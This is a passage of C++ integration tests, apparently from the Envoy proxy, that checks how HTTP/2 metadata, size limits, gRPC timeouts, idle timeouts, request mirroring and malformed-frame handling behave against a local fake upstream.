metadata before response header. const std::string key = "key"; std::string value = std::string(1024 * 1024, 'a'); Http::MetadataMap metadata_map = {{key, value}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); Http::MetadataMapVector metadata_map_vector; metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(12, false); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeData(12, true); // Verifies metadata is not received by the client. ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(0, response->metadataMapsDecodedCount()); EXPECT_EQ(response->metadataMap().size(), 0); } void verifyExpectedMetadata(Http::MetadataMap metadata_map, std::set<std::string> keys) { for (const auto& key : keys) { // keys are the same as their corresponding values. EXPECT_EQ(metadata_map.find(key)->second, key); } EXPECT_EQ(metadata_map.size(), keys.size()); } TEST_P(Http2MetadataIntegrationTest, TestResponseMetadata) { addFilters({response_metadata_filter}); config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.set_proxy_100_continue(true); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Upstream responds with headers. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); std::set<std::string> expected_metadata_keys = {"headers", "duplicate"}; verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); // Upstream responds with headers and data. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(100, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.insert("data"); verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); EXPECT_EQ(response->keyCount("duplicate"), 2); EXPECT_EQ(2, response->metadataMapsDecodedCount()); // Upstream responds with headers, data and trailers. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(10, false); Http::TestResponseTrailerMapImpl response_trailers{{"response", "trailer"}}; upstream_request_->encodeTrailers(response_trailers); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.insert("trailers"); verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); EXPECT_EQ(response->keyCount("duplicate"), 3); EXPECT_EQ(4, response->metadataMapsDecodedCount()); // Upstream responds with headers, 100-continue and data. response = codec_client_->makeRequestWithBody(Http::TestRequestHeaderMapImpl{{":method", "GET"}, {":path", "/dynamo/url"}, {":scheme", "http"}, {":authority", "host"}, {"expect", "100-continue"}}, 10); waitForNextUpstreamRequest(); upstream_request_->encode100ContinueHeaders(Http::TestResponseHeaderMapImpl{{":status", "100"}}); response->waitForContinueHeaders(); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(100, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.erase("trailers"); expected_metadata_keys.insert("100-continue"); verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); EXPECT_EQ(response->keyCount("duplicate"), 4); EXPECT_EQ(4, response->metadataMapsDecodedCount()); // Upstream responds with headers and metadata that will not be consumed. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); Http::MetadataMap metadata_map = {{"aaa", "aaa"}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); Http::MetadataMapVector metadata_map_vector; metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.erase("data"); expected_metadata_keys.erase("100-continue"); expected_metadata_keys.insert("aaa"); expected_metadata_keys.insert("keep"); verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); EXPECT_EQ(2, response->metadataMapsDecodedCount()); // Upstream responds with headers, data and metadata that will be consumed. response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); metadata_map = {{"consume", "consume"}}; metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); metadata_map_vector.clear(); metadata_map_vector.push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(metadata_map_vector); upstream_request_->encodeHeaders(default_response_headers_, false); upstream_request_->encodeData(100, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.erase("aaa"); expected_metadata_keys.insert("data"); expected_metadata_keys.insert("replace"); verifyExpectedMetadata(response->metadataMap(), expected_metadata_keys); EXPECT_EQ(response->keyCount("duplicate"), 2); EXPECT_EQ(3, response->metadataMapsDecodedCount()); } TEST_P(Http2MetadataIntegrationTest, ProxyMultipleMetadataReachSizeLimit) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a request. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Sends multiple metadata after response header until max size limit is reached. upstream_request_->encodeHeaders(default_response_headers_, false); const int size = 200; std::vector<Http::MetadataMapVector> multiple_vecs(size); for (int i = 0; i < size; i++) { Http::MetadataMap metadata_map = {{"key", std::string(10000, 'a')}}; Http::MetadataMapPtr metadata_map_ptr = std::make_unique<Http::MetadataMap>(metadata_map); multiple_vecs[i].push_back(std::move(metadata_map_ptr)); upstream_request_->encodeMetadata(multiple_vecs[i]); } upstream_request_->encodeData(12, true); // Verifies reset is received. ASSERT_TRUE(response->waitForReset()); ASSERT_FALSE(response->complete()); } // Verifies small metadata can be sent at different locations of a request. TEST_P(Http2MetadataIntegrationTest, ProxySmallMetadataInRequest) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); Http::MetadataMap metadata_map = {{"key", "value"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); Http::TestRequestTrailerMapImpl request_trailers{{"request", "trailer"}}; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); // Verifies metadata is received by upstream. upstream_request_->encodeHeaders(default_response_headers_, true); EXPECT_EQ(upstream_request_->metadataMap().find("key")->second, "value"); EXPECT_EQ(upstream_request_->metadataMap().size(), 1); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("key")->second, 3); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } // Verifies large metadata can be sent at different locations of a request. TEST_P(Http2MetadataIntegrationTest, ProxyLargeMetadataInRequest) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); std::string value = std::string(80 * 1024, '1'); Http::MetadataMap metadata_map = {{"key", value}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); Http::TestRequestTrailerMapImpl request_trailers{{"request", "trailer"}}; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); // Verifies metadata is received upstream. upstream_request_->encodeHeaders(default_response_headers_, true); EXPECT_EQ(upstream_request_->metadataMap().find("key")->second, value); EXPECT_EQ(upstream_request_->metadataMap().size(), 1); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("key")->second, 3); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } TEST_P(Http2MetadataIntegrationTest, RequestMetadataReachSizeLimit) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); std::string value = std::string(10 * 1024, '1'); Http::MetadataMap metadata_map = {{"key", value}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 1, false); for (int i = 0; i < 200; i++) { codec_client_->sendMetadata(*request_encoder_, metadata_map); if (codec_client_->disconnected()) { break; } } // Verifies client connection will be closed. ASSERT_TRUE(codec_client_->waitForDisconnect()); ASSERT_FALSE(response->complete()); } TEST_P(Http2MetadataIntegrationTest, RequestMetadataThenTrailers) { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); Http::MetadataMap metadata_map = {{"key", "value"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); Http::TestRequestTrailerMapImpl request_trailers{{"trailer", "trailer"}}; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } static std::string request_metadata_filter = R"EOF( name: request-metadata-filter typed_config: "@type": type.googleapis.com/google.protobuf.Empty )EOF"; TEST_P(Http2MetadataIntegrationTest, ConsumeAndInsertRequestMetadata) { addFilters({request_metadata_filter}); config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.set_proxy_100_continue(true); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a headers only request. auto response = codec_client_->makeHeaderOnlyRequest(default_request_headers_); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); // Verifies a headers metadata added. std::set<std::string> expected_metadata_keys = {"headers"}; expected_metadata_keys.insert("metadata"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); // Sends a headers only request with metadata. An empty data frame carries end_stream. auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; response = std::move(encoder_decoder.second); Http::MetadataMap metadata_map = {{"consume", "consume"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 0, true); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.insert("data"); expected_metadata_keys.insert("metadata"); expected_metadata_keys.insert("replace"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("metadata")->second, 3); // Verifies zero length data received, and end_stream is true. EXPECT_EQ(true, upstream_request_->receivedData()); EXPECT_EQ(0, upstream_request_->bodyLength()); EXPECT_EQ(true, upstream_request_->complete()); // Sends headers, data, metadata and trailer. auto encoder_decoder_2 = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder_2.first; response = std::move(encoder_decoder_2.second); codec_client_->sendData(*request_encoder_, 10, false); metadata_map = {{"consume", "consume"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); Http::TestRequestTrailerMapImpl request_trailers{{"trailer", "trailer"}}; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.insert("trailers"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("metadata")->second, 4); // Sends headers, large data, metadata. Large data triggers decodeData() multiple times, and each // time, a "data" metadata is added. auto encoder_decoder_3 = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder_3.first; response = std::move(encoder_decoder_3.second); codec_client_->sendData(*request_encoder_, 100000, false); codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 100000, true); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.erase("trailers"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); EXPECT_GE(upstream_request_->duplicatedMetadataKeyCount().find("data")->second, 2); EXPECT_GE(upstream_request_->duplicatedMetadataKeyCount().find("metadata")->second, 3); // Sends multiple metadata. auto encoder_decoder_4 = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder_4.first; response = std::move(encoder_decoder_4.second); metadata_map = {{"metadata1", "metadata1"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, 10, false); metadata_map = {{"metadata2", "metadata2"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); metadata_map = {{"consume", "consume"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); expected_metadata_keys.insert("metadata1"); expected_metadata_keys.insert("metadata2"); expected_metadata_keys.insert("trailers"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("metadata")->second, 6); } void Http2MetadataIntegrationTest::runHeaderOnlyTest(bool send_request_body, size_t body_size) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { hcm.set_proxy_100_continue(true); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a request with body. Only headers will pass through filters. IntegrationStreamDecoderPtr response; if (send_request_body) { response = codec_client_->makeRequestWithBody( Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, body_size); } else { response = codec_client_->makeHeaderOnlyRequest( Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}); } waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); } void Http2MetadataIntegrationTest::verifyHeadersOnlyTest() { // Verifies a headers metadata added. std::set<std::string> expected_metadata_keys = {"headers"}; expected_metadata_keys.insert("metadata"); verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); // Verifies zero length data received, and end_stream is true. EXPECT_EQ(true, upstream_request_->receivedData()); EXPECT_EQ(0, upstream_request_->bodyLength()); EXPECT_EQ(true, upstream_request_->complete()); } TEST_P(Http2MetadataIntegrationTest, HeadersOnlyRequestWithRequestMetadata) { addFilters({request_metadata_filter}); // Send a headers only request. runHeaderOnlyTest(false, 0); verifyHeadersOnlyTest(); } void Http2MetadataIntegrationTest::testRequestMetadataWithStopAllFilter() { initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends multiple metadata. const size_t size = 10; default_request_headers_.addCopy("content_size", std::to_string(size)); auto encoder_decoder = codec_client_->startRequest(default_request_headers_); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); Http::MetadataMap metadata_map = {{"metadata1", "metadata1"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); codec_client_->sendData(*request_encoder_, size, false); metadata_map = {{"metadata2", "metadata2"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); metadata_map = {{"consume", "consume"}}; codec_client_->sendMetadata(*request_encoder_, metadata_map); Http::TestRequestTrailerMapImpl request_trailers{{"trailer", "trailer"}}; codec_client_->sendTrailers(*request_encoder_, request_trailers); waitForNextUpstreamRequest(); upstream_request_->encodeHeaders(default_response_headers_, true); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); std::set<std::string> expected_metadata_keys = {"headers", "data", "metadata", "metadata1", "metadata2", "replace", "trailers"}; verifyExpectedMetadata(upstream_request_->metadataMap(), expected_metadata_keys); EXPECT_EQ(upstream_request_->duplicatedMetadataKeyCount().find("metadata")->second, 6); } static std::string metadata_stop_all_filter = R"EOF( name: metadata-stop-all-filter typed_config: "@type": type.googleapis.com/google.protobuf.Empty )EOF"; TEST_P(Http2MetadataIntegrationTest, RequestMetadataWithStopAllFilterBeforeMetadataFilter) { addFilters({request_metadata_filter, metadata_stop_all_filter}); testRequestMetadataWithStopAllFilter(); } TEST_P(Http2MetadataIntegrationTest, RequestMetadataWithStopAllFilterAfterMetadataFilter) { addFilters({metadata_stop_all_filter, request_metadata_filter}); testRequestMetadataWithStopAllFilter(); } TEST_P(Http2MetadataIntegrationTest, TestAddEncodedMetadata) { config_helper_.addFilter(R"EOF( name: encode-headers-return-stop-all-filter )EOF"); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Upstream responds with headers, data and trailers. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); const int count = 70; const int size = 1000; const int added_decoded_data_size = 1; default_response_headers_.addCopy("content_size", std::to_string(count * size)); default_response_headers_.addCopy("added_size", std::to_string(added_decoded_data_size)); default_response_headers_.addCopy("is_first_trigger", "value"); upstream_request_->encodeHeaders(default_response_headers_, false); for (int i = 0; i < count - 1; i++) { upstream_request_->encodeData(size, false); } upstream_request_->encodeData(size, false); Http::TestResponseTrailerMapImpl response_trailers{{"response", "trailer"}}; upstream_request_->encodeTrailers(response_trailers); ASSERT_TRUE(response->waitForEndStream()); ASSERT_TRUE(response->complete()); EXPECT_EQ(response->metadataMap().find("headers")->second, "headers"); EXPECT_EQ(response->metadataMap().find("data")->second, "data"); EXPECT_EQ(response->metadataMap().find("trailers")->second, "trailers"); EXPECT_EQ(response->metadataMap().size(), 3); EXPECT_EQ(count * size + added_decoded_data_size * 2, response->body().size()); } TEST_P(Http2IntegrationTest, GrpcRouterNotFound) { config_helper_.setDefaultHostAndRoute("foo.com", "/found"); initialize(); BufferingStreamDecoderPtr response = IntegrationUtil::makeSingleRequest( lookupPort("http"), "POST", "/service/notfound", "", downstream_protocol_, version_, "host", Http::Headers::get().ContentTypeValues.Grpc); ASSERT_TRUE(response->complete()); EXPECT_EQ("200", response->headers().getStatusValue()); EXPECT_EQ(Http::Headers::get().ContentTypeValues.Grpc, response->headers().getContentTypeValue()); EXPECT_EQ("12", response->headers().getGrpcStatusValue()); } TEST_P(Http2IntegrationTest, GrpcRetry) { testGrpcRetry(); } // Verify the case where there is an HTTP/2 codec/protocol error with an active stream. TEST_P(Http2IntegrationTest, CodecErrorAfterStreamStart) { // TODO(#16757) Needs HTTP/3 "bad frame" equivalent. EXCLUDE_DOWNSTREAM_HTTP3; initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Sends a request. auto response = codec_client_->makeRequestWithBody(default_request_headers_, 10); waitForNextUpstreamRequest(); // Send bogus raw data on the connection. Buffer::OwnedImpl bogus_data("some really bogus data"); codec_client_->rawConnection().write(bogus_data, false); // Verifies error is received. ASSERT_TRUE(response->waitForEndStream()); } TEST_P(Http2IntegrationTest, Http2BadMagic) { if (downstreamProtocol() == Http::CodecType::HTTP3) { // The "magic" payload is an HTTP/2 specific thing. return; } initialize(); std::string response; auto connection = createConnectionDriver( lookupPort("http"), "hello", [&response](Network::ClientConnection&, const Buffer::Instance& data) -> void { response.append(data.toString()); }); connection->run(); EXPECT_EQ("", response); } TEST_P(Http2IntegrationTest, BadFrame) { EXCLUDE_DOWNSTREAM_HTTP3; // Needs HTTP/3 "bad frame" equivalent. initialize(); std::string response; auto connection = createConnectionDriver( lookupPort("http"), "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\nhelloworldcauseanerror", [&response](Network::ClientConnection&, const Buffer::Instance& data) -> void { response.append(data.toString()); }); connection->run(); EXPECT_TRUE(response.find("SETTINGS expected") != std::string::npos); } // Send client headers, a GoAway and then a body and ensure the full request and // response are received. TEST_P(Http2IntegrationTest, GoAway) { EXCLUDE_DOWNSTREAM_HTTP3; // QuicHttpClientConnectionImpl::goAway NOT_REACHED_GCOVR_EXCL_LINE config_helper_.addFilter(ConfigHelper::defaultHealthCheckFilter()); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto encoder_decoder = codec_client_->startRequest(Http::TestRequestHeaderMapImpl{ {":method", "GET"}, {":path", "/healthcheck"}, {":scheme", "http"}, {":authority", "host"}}); request_encoder_ = &encoder_decoder.first; auto response = std::move(encoder_decoder.second); codec_client_->goAway(); codec_client_->sendData(*request_encoder_, 0, true); ASSERT_TRUE(response->waitForEndStream()); codec_client_->close(); EXPECT_TRUE(response->complete()); EXPECT_EQ("200", response->headers().getStatusValue()); } TEST_P(Http2IntegrationTest, Trailers) { testTrailers(1024, 2048, false, false); } TEST_P(Http2IntegrationTest, TrailersGiantBody) { testTrailers(1024 * 1024, 1024 * 1024, false, false); } // Ensure if new timeouts are set, legacy timeouts do not apply. TEST_P(Http2IntegrationTest, DEPRECATED_FEATURE_TEST(GrpcRequestTimeoutMixedLegacy)) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* route_config = hcm.mutable_route_config(); auto* virtual_host = route_config->mutable_virtual_hosts(0); auto* route = virtual_host->mutable_routes(0); route->mutable_route()->mutable_max_grpc_timeout()->set_nanos(1000 * 1000); route->mutable_route() ->mutable_max_stream_duration() ->mutable_grpc_timeout_header_max() ->set_seconds(60 * 60); }); useAccessLog("%RESPONSE_CODE_DETAILS%"); autonomous_upstream_ = true; initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto response = codec_client_->makeHeaderOnlyRequest( Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}, {"te", "trailers"}, {"grpc-timeout", "2S"}, // 2 Second {"content-type", "application/grpc"}}); ASSERT_TRUE(response->waitForEndStream()); EXPECT_TRUE(response->complete()); EXPECT_EQ("200", response->headers().getStatusValue()); EXPECT_THAT(waitForAccessLog(access_log_name_), HasSubstr("via_upstream\n")); } TEST_P(Http2IntegrationTest, GrpcRequestTimeout) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* route_config = hcm.mutable_route_config(); auto* virtual_host = route_config->mutable_virtual_hosts(0); auto* route = virtual_host->mutable_routes(0); route->mutable_route() ->mutable_max_stream_duration() ->mutable_grpc_timeout_header_max() ->set_seconds(60 * 60); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); auto response = codec_client_->makeHeaderOnlyRequest( Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}, {"te", "trailers"}, {"grpc-timeout", "1S"}, // 1 Second {"content-type", "application/grpc"}}); ASSERT_TRUE(response->waitForEndStream()); EXPECT_TRUE(response->complete()); EXPECT_EQ("200", response->headers().getStatusValue()); EXPECT_NE(response->headers().GrpcStatus(), nullptr); EXPECT_EQ("4", response->headers().getGrpcStatusValue()); // Deadline exceeded. EXPECT_LT(0, test_server_->counter("http.config_test.downstream_rq_max_duration_reached")->value()); } // Interleave two requests and responses and make sure that idle timeout is handled correctly. TEST_P(Http2IntegrationTest, IdleTimeoutWithSimultaneousRequests) { FakeHttpConnectionPtr fake_upstream_connection1; FakeHttpConnectionPtr fake_upstream_connection2; Http::RequestEncoder* encoder1; Http::RequestEncoder* encoder2; FakeStreamPtr upstream_request1; FakeStreamPtr upstream_request2; int32_t request1_bytes = 1024; int32_t request2_bytes = 512; config_helper_.addConfigModifier([](envoy::config::bootstrap::v3::Bootstrap& bootstrap) { ConfigHelper::HttpProtocolOptions protocol_options; auto* http_protocol_options = protocol_options.mutable_common_http_protocol_options(); protocol_options.mutable_explicit_http_config()->mutable_http_protocol_options(); auto* idle_time_out = http_protocol_options->mutable_idle_timeout(); std::chrono::milliseconds timeout(1000); auto seconds = std::chrono::duration_cast<std::chrono::seconds>(timeout); idle_time_out->set_seconds(seconds.count()); ConfigHelper::setProtocolOptions(*bootstrap.mutable_static_resources()->mutable_clusters(0), protocol_options); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Start request 1 auto encoder_decoder = codec_client_->startRequest(Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}); encoder1 = &encoder_decoder.first; auto response1 = std::move(encoder_decoder.second); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection1)); ASSERT_TRUE(fake_upstream_connection1->waitForNewStream(*dispatcher_, upstream_request1)); // Start request 2 auto encoder_decoder2 = codec_client_->startRequest(Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}); encoder2 = &encoder_decoder2.first; auto response2 = std::move(encoder_decoder2.second); ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection2)); ASSERT_TRUE(fake_upstream_connection2->waitForNewStream(*dispatcher_, upstream_request2)); // Finish request 1 codec_client_->sendData(*encoder1, request1_bytes, true); ASSERT_TRUE(upstream_request1->waitForEndStream(*dispatcher_)); // Finish request i2 codec_client_->sendData(*encoder2, request2_bytes, true); ASSERT_TRUE(upstream_request2->waitForEndStream(*dispatcher_)); // Respond to request 2 upstream_request2->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false); upstream_request2->encodeData(request2_bytes, true); ASSERT_TRUE(response2->waitForEndStream()); EXPECT_TRUE(upstream_request2->complete()); EXPECT_EQ(request2_bytes, upstream_request2->bodyLength()); EXPECT_TRUE(response2->complete()); EXPECT_EQ("200", response2->headers().getStatusValue()); EXPECT_EQ(request2_bytes, response2->body().size()); // Validate that idle time is not kicked in. EXPECT_EQ(0, test_server_->counter("cluster.cluster_0.upstream_cx_idle_timeout")->value()); EXPECT_NE(0, test_server_->counter("cluster.cluster_0.upstream_cx_total")->value()); // Respond to request 1 upstream_request1->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, false); upstream_request1->encodeData(request1_bytes, true); ASSERT_TRUE(response1->waitForEndStream()); EXPECT_TRUE(upstream_request1->complete()); EXPECT_EQ(request1_bytes, upstream_request1->bodyLength()); EXPECT_TRUE(response1->complete()); EXPECT_EQ("200", response1->headers().getStatusValue()); EXPECT_EQ(request1_bytes, response1->body().size()); // Do not send any requests and validate idle timeout kicks in after both the requests are done. ASSERT_TRUE(fake_upstream_connection1->waitForDisconnect()); ASSERT_TRUE(fake_upstream_connection2->waitForDisconnect()); test_server_->waitForCounterGe("cluster.cluster_0.upstream_cx_idle_timeout", 2); } // Test request mirroring / shadowing with an HTTP/2 downstream and a request with a body. TEST_P(Http2IntegrationTest, RequestMirrorWithBody) { config_helper_.addConfigModifier( [&](envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager& hcm) -> void { auto* mirror_policy = hcm.mutable_route_config() ->mutable_virtual_hosts(0) ->mutable_routes(0) ->mutable_route() ->add_request_mirror_policies(); mirror_policy->set_cluster("cluster_0"); }); initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Send request with body. IntegrationStreamDecoderPtr response = codec_client_->makeRequestWithBody(Http::TestRequestHeaderMapImpl{{":method", "POST"}, {":path", "/test/long/url"}, {":scheme", "http"}, {":authority", "host"}}, "hello"); // Wait for the first request as well as the shadow. waitForNextUpstreamRequest(); FakeHttpConnectionPtr fake_upstream_connection2; FakeStreamPtr upstream_request2; ASSERT_TRUE(fake_upstreams_[0]->waitForHttpConnection(*dispatcher_, fake_upstream_connection2)); ASSERT_TRUE(fake_upstream_connection2->waitForNewStream(*dispatcher_, upstream_request2)); ASSERT_TRUE(upstream_request2->waitForEndStream(*dispatcher_)); // Make sure both requests have a body. Also check the shadow for the shadow headers. EXPECT_EQ("hello", upstream_request_->body().toString()); EXPECT_EQ("hello", upstream_request2->body().toString()); EXPECT_EQ("host-shadow", upstream_request2->headers().getHostValue()); upstream_request_->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, true); upstream_request2->encodeHeaders(Http::TestResponseHeaderMapImpl{{":status", "200"}}, true); ASSERT_TRUE(response->waitForEndStream()); EXPECT_EQ("200", response->headers().getStatusValue()); // Cleanup. ASSERT_TRUE(fake_upstream_connection2->close()); ASSERT_TRUE(fake_upstream_connection2->waitForDisconnect()); } // Interleave two requests and responses and make sure the HTTP2 stack handles this correctly. void Http2IntegrationTest::simultaneousRequest(int32_t request1_bytes, int32_t request2_bytes) { FakeHttpConnectionPtr fake_upstream_connection1; FakeHttpConnectionPtr fake_upstream_connection2; Http::RequestEncoder* encoder1; Http::RequestEncoder* encoder2; FakeStreamPtr upstream_request1; FakeStreamPtr upstream_request2; initialize(); codec_client_ = makeHttpConnection(lookupPort("http")); // Start request 1 auto encoder_decoder = 